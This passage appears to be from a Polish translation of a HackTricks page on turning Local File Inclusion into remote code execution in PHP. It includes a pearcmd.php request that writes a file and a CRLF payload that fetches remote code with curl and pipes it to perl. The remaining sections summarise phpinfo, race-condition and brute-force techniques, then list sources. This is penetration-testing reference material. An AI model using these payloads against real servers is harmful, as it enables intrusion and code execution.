[watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) oraz [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). Poniższe żądanie tworzy plik w `/tmp/hello.php` z zawartością ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` Poniższy przykład wykorzystuje podatność CRLF do uzyskania RCE (z [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` ### Przez phpinfo() (file_uploads = on) Jeśli znalazłeś **Local File Inclusion** i plik ujawniający **phpinfo()** z file_uploads = on, możesz uzyskać RCE: {{#ref}} lfi2rce-via-phpinfo.md {{#endref}} ### Przez compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure Jeśli znalazłeś **Local File Inclusion** i możesz exfiltrate ścieżkę pliku tymczasowego, ALE serwer sprawdza, czy plik do włączenia ma znaczniki PHP, możesz spróbować obejść tę kontrolę przy pomocy tej **Race Condition**: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}} ### Przez eternal waiting + bruteforce Jeśli możesz wykorzystać LFI do **upload temporary files** i sprawić, że serwer **zawieśnie** wykonywanie PHP, możesz następnie **brute force** nazwy plików przez wiele godzin, aby znaleźć plik tymczasowy: {{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}} ### Do Fatal Error Jeśli dołączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd). **Nie wiem, jak to może być przydatne, ale może.**\ _Nawet jeśli spowodujesz PHP Fatal Error, pliki tymczasowe PHP są usuwane._
## Źródła - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) - [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) - [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) - [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) - [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) - [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) {{#file}} EN-Local-File-Inclusion-1.pdf {{#endfile}} {{#include ../../banners/hacktricks-training.md}}